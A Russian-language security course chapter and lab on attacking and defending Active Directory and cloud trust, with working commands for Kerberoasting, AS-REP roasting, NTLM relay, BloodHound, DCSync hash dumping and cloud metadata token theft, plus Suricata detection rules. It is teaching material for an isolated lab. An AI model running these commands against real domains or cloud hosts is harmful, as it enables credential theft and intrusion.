Домен и облако: сетевые векторы доверия

Домен Active Directory — это сеть, построенная на протоколах идентичности. Пользователь входит в систему, получает билет, предъявляет его службе, служба проверяет билет и доверяет тому, что в нём написано. Всё это происходит по сети, и каждое звено цепочки можно атаковать, не касаясь контроллера домена напрямую.

Облако устроено похоже, но вместо билетов — токены, вместо контроллера домена — сервис метаданных, вместо GPO — роли и политики. Общее одно: доверие к тому, кто предъявил учётные данные, и к тому, откуда они пришли.

Тема 18 основной программы разбирала сетевую безопасность, тема 21 — ЦОД и виртуализацию. Здесь эти инфраструктуры рассматриваются как набор протоколов, которые можно перепутать, перехватить или обойти. Границы: эксплуатация уязвимостей ОС — тема 05 основной программы, веб-атаки — тема 16.

Тень базового курса: доверие как протокол

В основной программе безопасность выглядела как набор мер: межсетевой экран, сегментация, TLS. Домен добавляет к этому слой, где решение принимается не по адресу и не по сертификату, а по билету. Билет выдаётся один раз и действует ограниченное время; если его украсть, он работает до истечения срока.

Облако заменяет билет токеном, который выдаётся роли. Роль привязана к экземпляру, а экземпляр — к сети. Если экземпляр может прочитать метаданные, он может получить токен; если токен украден, он работает до истечения.

Kerberos: билеты и их слабости

TGT, TGS и PAC

Kerberos описан в RFC 4120 ¹. Клиент аутентифицируется на KDC и получает Ticket Granting Ticket (TGT); затем предъявляет TGT и получает Service Ticket (TGS) на конкретную службу. Билет зашифрован ключом службы, поэтому служба может проверить его, не обращаясь к KDC.

В Active Directory билет содержит PAC — структуру с идентификаторами групп и привилегиями ²⁴. PAC подписан ключом KDC, и именно он определяет права пользователя.

kinit user@NSU.EXAMPLE
klist

Kerberoasting и AS-REP Roasting

Приёмы кражи учётных данных систематизированы в матрице ATT&CK ⁵. Kerberoasting: любой пользователь может запросить TGS на службу с зарегистрированным SPN. Билет зашифрован ключом службы, выведенным из пароля. Если пароль службы слабый, его можно перебрать офлайн.

impacket-GetUserSPNs nsu.example/user:pass -dc-ip 192.0.2.10 -request
hashcat -m 13100 tgs.txt rockyou.txt

AS-REP Roasting: если у учётной записи отключена предварительная аутентификация, KDC отвечает на AS-REQ данными, зашифрованными ключом пользователя, — и их можно перебирать без входа в систему.

impacket-GetNPUsers nsu.example/ -dc-ip 192.0.2.10 -usersfile users.txt -no-pass

Золотые и серебряные билеты

Золотой билет — поддельный TGT, подписанный ключом krbtgt. Серебряный — поддельный TGS, подписанный ключом службы. Оба требуют знания ключа, то есть компрометации контроллера домена или службы, и дают доступ без пароля.

NTLM и ретрансляция

Challenge/response

NTLM — вызов-ответ: сервер отправляет случайное число, клиент отвечает хешем пароля и этим числом. Сам пароль по сети не идёт, но ответ можно перехватить и использовать в ретрансляции.

Relay и подпись

NTLM Relay — атакующий принимает аутентификацию от жертвы и передаёт её другому серверу, выдавая себя за жертву. Работает там, где сервер принимает NTLM и не требует подписи SMB.

impacket-ntlmrelayx -tf targets.txt -smb2support

Защита: отключить NTLM, включить SMB signing, EPA для LDAP, запретить анонимные сессии. Подпись SMB ломает ретрансляцию, потому что сессия привязана к каналу.

LDAP, DNS и GPO

Перечисление и ACL

LDAP (RFC 4511) — основной способ читать каталог ³. Анонимное связывание часто разрешено, и тогда видны пользователи, группы, компьютеры и политики.

ldapsearch -x -H ldap://192.0.2.10 -b "dc=nsu,dc=example" "(objectClass=user)" sAMAccountName

Права в AD задаются списками ACL на объектах. Ошибка в ACL — например, право GenericAll для всех пользователей на группу — превращается в путь эскалации, который ищут графовые инструменты.

DNS и GPO

AD зависит от DNS: контроллеры домена регистрируются в _ldap._tcp, клиенты находят их по этим записям. Подмена DNS в домене — прямой путь к подставному контроллеру.

GPO распространяются через SYSVOL, доступный по SMB. Если у пользователя есть право записи в SYSVOL, он может изменить скрипт входа, который выполнят все машины.

BloodHound и DCSync

Граф доверия

BloodHound собирает данные из LDAP и сессий и строит граф: кто на кого имеет права, кто где залогинен, какие пути ведут к администраторам. Путь может быть длинным и неочевидным — например, через группу, у которой есть право сброса пароля.

bloodhound-python -u user -p pass -d nsu.example -ns 192.0.2.10 -c All

DCSync

DCSync имитирует репликацию: атакующий с правами Replicating Directory Changes просит контроллер домена отдать хеши. Это не эксплуатация уязвимости, а злоупотребление штатным протоколом.

impacket-secretsdump nsu.example/user:pass@192.0.2.10 -just-dc

Защита: ограничить права репликации, включить аудит, отслеживать обращения к DRSUAPI с необычных хостов.

Облако: метаданные, сеть, контейнеры

Метаданные и IMDSv2

Сервис метаданных доступен по 169.254.169.254 и выдаёт токены роли экземпляра ⁶. Если приложение уязвимо к SSRF, атакующий может прочитать метаданные и получить токен.

curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/
curl -s -X PUT "http://169.254.169.254/latest/api/token" \
  -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"

IMDSv2 требует токен, полученный через PUT, и ограничивает SSRF: простой GET без токена не работает. Это не полная защита, но существенное усложнение.

VPC peering, security groups, контейнеры

VPC peering соединяет сети, и ошибка в маршрутах или группах безопасности делает «изолированную» базу доступной из другого аккаунта. Security groups по умолчанию разрешают исходящие соединения, поэтому обратные оболочки проходят.

aws ec2 describe-security-groups --group-ids sg-0123456789abcdef0
aws ec2 describe-vpc-peering-connections

Контейнеры добавляют CNI: сеть подов, политики, service mesh. Перехват трафика между подами возможен, если CNI не шифрует и не сегментирует; escape в сеть узла превращает под в точку опоры ⁷.

Числа: время жизни билетов и токенов

В домене по умолчанию TGT живёт 10 часов, TGS — 10 часов, а renewal допускается до 7 суток. Украденный билет работает до истечения срока; отзыв требует изменения пароля или блокировки учётной записи.

TGT:      10 часов
TGS:      10 часов
renewal:  7 суток

Токен роли в облаке обычно живёт от 15 минут до 6 часов в зависимости от сервиса. Это меньше, чем TGT, но достаточно, чтобы прочитать данные или создать ресурс. IMDSv2 ограничивает срок токена метаданных шестью часами и требует PUT-запрос, что усложняет SSRF, но не делает его невозможным: если приложение умеет выполнять произвольные запросы, оно умеет и PUT.

Стоимость перебора Kerberos-хешей зависит от типа шифрования. RC4 (etype 23) перебирается на порядки быстрее AES; поэтому отключение RC4 в домене — не формальность, а прямое снижение риска.

Обнаружение и защита

Правило Suricata на обращение к метаданным из контейнера:

alert http any any -> 169.254.169.254 any (msg:"Cloud metadata access"; \
  classtype:attempted-recon; sid:1000500; rev:1;)

Итоги темы

Домен держится на билетах, облако — на токенах. Оба доверяют предъявителю и оба уязвимы к краже: Kerberoasting и AS-REP Roasting дают материал для офлайн-перебора, NTLM Relay — доступ без пароля, DCSync — все хеши сразу.

Облачная сеть добавляет метаданные и peering. SSRF к метаданным — самый короткий путь от веб-уязвимости к роли; IMDSv2 усложняет его, но не отменяет. Контейнеры добавляют CNI и общую сеть узла, где ошибка сегментации стоит дорого.

Защита строится на сокращении доверия: меньше прав репликации, подпись SMB, отключение NTLM, проверка метаданных, аудит маршрутов. Следующая тема выходит за пределы ИТ — в промышленные сети, где те же принципы выглядят ещё жёстче.

Литература

1. Neuman C., Yu T., Hartman S., Raeburn K. The Kerberos Network Authentication Service (V5). — RFC 4120, IETF, 2005. https://www.rfc-editor.org/rfc/rfc4120
2. Zhu L., Leach P., Jaganathan K. The Kerberos Version 5 Generic Security Service Application Program Interface (GSS-API) Mechanism: Version 2. — RFC 4121, IETF, 2005. https://www.rfc-editor.org/rfc/rfc4121
3. Sermersheim J. Lightweight Directory Access Protocol (LDAP): The Protocol. — RFC 4511, IETF, 2006. https://www.rfc-editor.org/rfc/rfc4511
4. Microsoft. Kerberos Protocol Extensions (MS-KILE). — https://learn.microsoft.com/openspecs/windows_protocols/ms-kile
5. MITRE ATT&CK. Credential Access. — https://attack.mitre.org/tactics/TA0006/
6. Amazon Web Services. Instance Metadata and User Data. — https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html
7. NIST. Application Container Security Guide. — NIST Special Publication 800-190, 2017. https://doi.org/10.6028/NIST.SP.800-190

Дополнительные материалы

Вопросы для самопроверки

1. Почему Kerberos считается безопаснее NTLM и где он всё равно уязвим?
2. Что содержит PAC и кто его подписывает?
3. Почему Kerberoasting работает без повышения привилегий?
4. Чем AS-REP Roasting отличается по требованиям к учётной записи?
5. Что нужно, чтобы NTLM Relay сработал, и что его останавливает?
6. Почему права ACL в AD важнее, чем кажется?
7. Что такое DCSync и какое право он использует?
8. Как BloodHound находит путь, который не виден вручную?
9. Почему сервис метаданных доступен по ссылке из приложения?
10. Что делает IMDSv2 и почему он не абсолютен?
11. Почему контейнерная сеть — отдельная поверхность атаки?
12. Какие журналы нужно смотреть при подозрении на DCSync?

Глоссарий темы

KDC — Key Distribution Center, выдаёт билеты Kerberos.

TGT — Ticket Granting Ticket, билет на получение билетов.

TGS — Service Ticket, билет к конкретной службе.

SPN — Service Principal Name, имя службы в каталоге.

PAC — Privilege Attribute Certificate, структура с правами в билете.

Kerberoasting — запрос TGS и офлайн-перебор пароля службы.

AS-REP Roasting — перебор по ответу на AS-REQ без preauth.

NTLM Relay — пересылка чужой аутентификации другому серверу.

DCSync — имитация репликации для получения хешей.

IMDSv2 — версия сервиса метаданных с токеном.

Шпаргалка по инструментам

Что почитать и посмотреть

• RFC 4120 — Kerberos V5: билеты, KDC, обмен.
• RFC 4121 — GSS-API-механизм Kerberos: как билет используется прикладными протоколами.
• RFC 4511 — LDAP: операции и фильтры.
• MS-KILE — расширения Kerberos в Windows: PAC, типы билетов.
• MITRE ATT&CK, Credential Access — таксономия приёмов.
• NIST SP 800-190 — безопасность контейнеров: сеть, изоляция, образы.

Углубление

Билеты и время. Kerberos чувствителен к рассинхронизации часов: при разнице больше нескольких минут аутентификация не проходит. Это не только неудобство, но и защита от повторного использования старых билетов.

ACL и пути. Один неверный ACL редко выглядит опасным. Опасность возникает в цепочке: право на смену пароля, право на добавление в группу, право на запись в SYSVOL. BloodHound показывает именно цепочки.

Облачные роли. Токен роли обычно живёт час и не требует пароля. Если он украден, защита сводится к ограничению прав роли и к аудиту её использования; отзыв токена — отдельная операция, которая не всегда возможна.

Контейнеры и сеть узла. Под с доступом к сети узла видит больше, чем под с собственным сетевым пространством имён. Политики CNI и hostNetwork: false — базовые меры, которые часто отключают «для отладки».

Лабораторная работа 10. Домен под прицелом

• Раздел курса: апокриф 10 «Домен и облако: сетевые векторы доверия»

Введение

Работа разворачивает небольшой домен на Samba AD и проходит по цепочке доверия: вход, билет, служба, каталог. Затем те же приёмы проверяются на облачной имитации: сервис метаданных, роль, доступ к «изолированному» сегменту.

Домен поднимается в контейнере, клиент — в пространстве имён. Если контейнеры недоступны, используется заранее подготовленный слепок домена и записанные захваты; команды анализа не меняются.

Цель работы

После выполнения работы получится:

• развернуть домен и включить в него клиента;
• разобрать Kerberos-обмен и объяснить, что находится в билете;
• выполнить Kerberoasting и AS-REP Roasting и перебрать полученные хеши;
• провести NTLM Relay на сервер без подписи;
• перечислить каталог через LDAP и найти путь эскалации;
• собрать граф BloodHound и объяснить выбранный путь;
• выполнить DCSync и увидеть, как он выглядит в журнале;
• получить токен роли через сервис метаданных и проверить IMDSv2;
• найти и исправить ошибку в правиле обнаружения.

Теоретический минимум

Разделы теории «Kerberos: билеты и их слабости», «NTLM и ретрансляция», «LDAP, DNS и GPO», «BloodHound и DCSync», «Облако: метаданные, сеть, контейнеры».

Перечень оснащения

Уровень воспроизводимости: 2 — Docker и Samba AD; 1 — имитатор метаданных.

Linux с Docker, samba, krb5-user, impacket, ldap-utils, bloodhound-python, hashcat, tshark, curl. Для облачной части — LocalStack или локальный имитатор метаданных на Python. Всё в изолированной сети без выхода наружу.

Порядок выполнения работы

unshare -rnm --propagation private bash
mount -t tmpfs none /run
mkdir -p /run/netns

Часть 1. Домен

Задание

Поднять Samba AD DC в контейнере с адресом 192.0.2.10, домен NSU.EXAMPLE, и включить клиента 192.0.2.20. Сеть создаётся заранее — иначе --network lab не найдёт её:

docker network create --subnet=192.0.2.0/24 lab
docker run -d --name dc --network lab --ip 192.0.2.10 \
  --hostname dc --dns 192.0.2.10 \
  -e REALM=NSU.EXAMPLE -e DOMAIN=NSU -e ADMINPASS=LabPass123! \
  nowsci/samba-domain

С клиента проверить DNS и вход:

echo "nameserver 192.0.2.10" > /etc/resolv.conf
kinit administrator@NSU.EXAMPLE
klist

Что должно получиться

Билет получен, klist показывает TGT и срок действия. Записать, какие поля билета видны и что из них можно узнать о домене.

Часть 2. Kerberoasting

Задание

Создать службу с SPN и слабым паролем, затем запросить билет и перебрать:

samba-tool user create svc-web 'Summer2024!'
samba-tool spn add HTTP/web.nsu.example svc-web
impacket-GetUserSPNs NSU.EXAMPLE/administrator:LabPass123! -dc-ip 192.0.2.10 -request
hashcat -m 13100 tgs.txt words.txt

Что должно получиться

Хеш получен, пароль найден по словарю. Объяснить, почему запрос TGS доступен любому пользователю и как длина пароля влияет на перебор.

Часть 3. AS-REP Roasting

Задание

Создать пользователя без предварительной аутентификации и запросить AS-REP:

samba-tool user create noauth 'Passw0rd!'
samba-tool user setexpiry noauth --noexpiry
# отключить preauth (в Samba — через ldapmodify или samba-tool)
impacket-GetNPUsers NSU.EXAMPLE/ -dc-ip 192.0.2.10 -usersfile users.txt -no-pass
hashcat -m 18200 asrep.txt words.txt

Что должно получиться

Ответ получен без пароля, хеш перебран. Объяснить, почему отключение preauth превращает учётную запись в мишень.

Часть 4. NTLM Relay

Задание

Поднять SMB-сервер без подписи и настроить ретрансляцию:

impacket-smbserver share /tmp/share -smb2support -no-pass
impacket-ntlmrelayx -t smb://192.0.2.20 -smb2support

С клиента инициировать аутентификацию (например, обращением к поддельному ресурсу) и посмотреть, что получил ретранслятор.

Что должно получиться

Ретранслятор получает сессию на 192.0.2.20 от имени жертвы. Включить smb signing required на цели и повторить — ретрансляция не проходит. Объяснить, почему подпись ломает приём.

Часть 5. LDAP и граф

Задание

Перечислить каталог и собрать граф:

ldapsearch -x -H ldap://192.0.2.10 -b "dc=nsu,dc=example" "(objectClass=user)" sAMAccountName memberOf
bloodhound-python -u administrator -p 'LabPass123!' -d nsu.example -ns 192.0.2.10 -c All

Загрузить данные в BloodHound и найти путь от обычного пользователя к администратору.

Что должно получиться

Путь найден и объяснён: какая группа, какое право, какой шаг. Записать, какое право было бы достаточно убрать, чтобы путь исчез.

Часть 6. DCSync

Задание

Выполнить DCSync от администратора домена: право на репликацию у него есть по умолчанию. Отдельно разобрать, какие два расширенных права (Replicating Directory Changes и Replicating Directory Changes All) нужны обычной учётной записи, чтобы повторить приём без администратора:

impacket-secretsdump nsu.example/administrator:LabPass123!@192.0.2.10 -just-dc
impacket-secretsdump nsu.example/administrator:LabPass123!@192.0.2.10 -just-dc-user krbtgt

Снять трафик и найти вызов DRSUAPI:

tshark -i eth0 -f "tcp port 445" -a duration:20 -w dcsync.pcap
tshark -r dcsync.pcap -Y "dcerpc" -T fields -e dcerpc.opnum | sort -u

Что должно получиться

Хеши получены; в захвате видны вызовы DRSUAPI. Объяснить, почему это не уязвимость, а злоупотребление штатным протоколом, и какой аудит это ловит.

Часть 7. Облачные метаданные

Задание

Поднять локальный имитатор метаданных на 169.254.169.254:80 и воспроизвести поведение IMDSv2: GET без токена — отказ, PUT выдаёт токен, GET с токеном — данные.

ip addr add 169.254.169.254/32 dev lo

from http.server import BaseHTTPRequestHandler, HTTPServer

TOKEN = "lab-token-7f3a"

class H(BaseHTTPRequestHandler):
    def do_PUT(self):
        if self.path != "/latest/api/token":
            self.send_error(404); return
        self.send_response(200)
        self.send_header("X-aws-ec2-metadata-token-ttl-seconds", "21600")
        self.end_headers()
        self.wfile.write(TOKEN.encode())

    def do_GET(self):
        if self.headers.get("X-aws-ec2-metadata-token") != TOKEN:
            self.send_error(401); return
        self.send_response(200)
        self.end_headers()
        self.wfile.write(b'{"Code":"Success","Token":"lab-role-token"}')

HTTPServer(("169.254.169.254", 80), H).serve_forever()

Проверить два режима:

curl -s -o /dev/null -w "%{http_code}\n" \
  http://169.254.169.254/latest/meta-data/iam/security-credentials/

TOKEN=$(curl -s -X PUT http://169.254.169.254/latest/api/token \
  -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \
  http://169.254.169.254/latest/meta-data/iam/security-credentials/

Что должно получиться

Первый запрос — 401: без токена метаданные недоступны. PUT возвращает токен, и только с ним GET отдаёт данные. Объяснить, почему IMDSv2 усложняет SSRF: одного GET на 169.254.169.254 уже недостаточно, нужен ещё запрос с методом PUT и заголовком, а многие SSRF-примитивы умеют только GET. Отметить, что остаётся: SSRF с полным контролем над методом и заголовками, а также доступ к метаданным изнутри самой машины.

Часть 8. Найти и исправить ошибку

Задание

Правило должно ловить DCSync, но срабатывает на любой SMB-трафик:

alert tcp any any -> any 445 (msg:"DCSync"; \
  content:"|05 00|"; classtype:attempted-admin; sid:1000600; rev:1;)

Найти причину: сигнатура слишком общая. Заменить на проверку конкретного интерфейса DRSUAPI и объяснить, почему сигнатура по порту бесполезна.

Что должно получиться

Правило, которое срабатывает на DCSync и не срабатывает на обычное открытие файла; объяснение, какие поля DCERPC проверять.

Журнал работы

Контрольные вопросы

1. Что доказывает билет Kerberos и чего он не доказывает?
2. Почему TGS можно запросить у любого пользователя?
3. Чем Kerberoasting отличается от AS-REP Roasting по условиям?
4. Почему NTLM Relay работает без пароля?
5. Что ломает ретрансляцию: подпись, EPA или отключение NTLM?
6. Почему права ACL опаснее членства в группе?
7. Что имитирует DCSync и почему это не уязвимость?
8. Как BloodHound собирает данные и что он не видит?
9. Почему сервис метаданных — цель для SSRF?
10. Что меняет IMDSv2 и чего он не закрывает?
11. Почему VPC peering требует аудита маршрутов?
12. Какие признаки DCSync видны в журнале контроллера домена?

Уборка

docker rm -f dc
pkill -f ntlmrelayx
pkill -f smbserver
pkill -f bloodhound-python
pkill tshark
rm -f tgs.txt asrep.txt dcsync.pcap